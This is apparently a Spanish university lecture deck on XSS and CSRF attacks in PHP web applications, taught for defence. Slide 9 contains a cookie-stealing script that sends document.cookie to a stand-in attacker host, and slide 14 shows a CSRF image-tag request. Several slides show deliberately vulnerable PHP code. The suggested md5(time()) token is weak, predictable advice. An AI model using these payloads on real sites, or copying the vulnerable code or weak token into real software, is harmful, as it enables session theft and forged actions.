1 / 18

Ataques XSS y CSRF

Ataques XSS y CSRF. CI-2413 Desarrollo de Aplicaciones para Internet. Seguridad. Podremos hablar de aplicaciones web seguras y inseguras. Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque.

lonato
Télécharger la présentation

Ataques XSS y CSRF

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet

  2. Seguridad • Podremos hablar de aplicaciones web seguras y inseguras. • Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque. • Sobre esta base se pueden considerar las aplicaciones web como inseguras. • Se verá protección contra dos tipos de ataques.

  3. Cross-Site Scripting (XSS) • El error fundamental que conduce a vulnerabilidades de tipo XSS es tener confianza en los datos foráneos. • La recomendación general es desconfiar siempre de los datos del visitante. • Como datos foráneos vamos a considerar cualquier dato que reciba el servidor web. V.G.: correo emitido por un cliente de correo web, un banner publicitario, las citas proveidas por XML vía HTTP, los datos del visitante, ...

  4. Ejemplo de XSS • Considere el siguiente formulario: <form action="/registrar.php" method="post"> <p>Nombre de usuario: <input type="text" name="reg_usuario" /></p> <p>Email: <input type="text" name="reg_email" /></p> <p><input type="submit" value="Registrar" /> </form>

  5. Ejemplo de XSS • Ahora considere el siguiente script de inserción de los datos: if (!get_magic_quotes_gpc()) { $_POST['reg_usuario'] = addslashes($_POST['reg_usuario']); $_POST['reg_email'] = addslashes($_POST['reg_email']); } $sql = "insert into users (username, email) values ('{$_POST['reg_usuario ']}', '{$_POST['reg_email']}')";

  6. Ejemplo de XSS • Imagine el siguiente nombre de usuario: <script>alert('¡Oh no!');</script> • Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente. • Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros utilizadores.

  7. Ejemplo de XSS • Despligue por un administrador: <table> <tr> <th>Usuario</th> <th>Email</th> </tr> <?php if ($_SESSION['admin']) { $sql = 'select username,email from users'; $result = mysql_query($sql); while ($user = mysql_fetch_assoc($result)) { echo "\t<tr>\n"; echo "\t\t<td>{$user['username']}</td>\n"; echo "\t\t<td>{$user['email']}</td>\n"; echo "\t</tr>\n"; } } ?> </table>

  8. Ejemplo de XSS • En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.

  9. Ejemplo de XSS • El riesgo es aún más evidente con algún ataque más vicioso como el siguiente: <script> document.location = 'http://maligno.ejemplo.org/roba_cookies.php?cookies=' + document.cookie </script> • En este ejemplo, el script distante roba_cookies.php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser utilizados para lanzar ataques de usurpación de identidad, obtener datos sensibles, etc.

  10. Protegerse contra XSS • Filtrar todos los datos foráneos. • Utilizar la funcionalidad existente: htmlentities(), strip_tags, utf8_decode(), etc. pueden ayudar a escribir la lógica de filtrado. • Solamente autorizar un contenido validado. • Utilizar una convención de nombres descriptiva. • Ser creativo.

  11. Cross-Site Request Forgeries (CSRF) • Este tipo de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el sitio web a sus usuarios. • CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.

  12. Ejemplo de CSRF • Considere un foro hipotético en http://foro.ejemplo.org/ que utiliza el siguiente formulario: <form action="/add_post.php"> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>

  13. Ejemplo de CSRF • Dado que en el código anterior no se indicó POST una solicitud GET es enviada: GET /add_post.php?post_subject=foo&post_message=bar HTTP/1.1 HOST: foro.ejemplo.org Cookie: PHPSESSID=123456789

  14. Ejemplo de CSRF • Considere la etiqueta <img> siguiente: <img src="http://foro.ejemplo.org/add_post.php?post_subject=foo&post_message=bar” /> • Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víctima va a enviar un mensaje en el foro y sin darse cuenta.

  15. Protegerse contra CSRF • Utilizar el método POST en los formularios. • Utilizar el arreglo $_POST en lugar de las variables creadas gracias a register_globals. • No simplificar las acciones importantes. • Obligar al usuario a utilizar nuestros formularios HTML.

  16. Protegerse contra CSRF • Un ejemplo de técnica para obligar al usuario a utilizar nuestros propios formularios es la siguiente: <?php $token = md5(time()); $_SESSION['token'] = $token; $_SESSION['token_timestamp'] = time(); ?> <form action="/add_post.php"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>

  17. Lecturas adicionales • PHP Under Attaque: presentación sobre XSS y CSRF • http://talks.php.net/show/php-under-attack/ • XSS • http://httpd.apache.org/info/css-security/ • http://www.cgisecurity.com/articles/xss-faq.shtml • http://www.php-secure.info/v2/article/XSS.php • CSRF • http://www.tux.org/~peterw/csrf.txt

  18. Proyecto de seguridad • XSS: • HTMLfilter es un proyecto para PHP que analiza todos los datos HTTP antes de ser utilizados.

More Related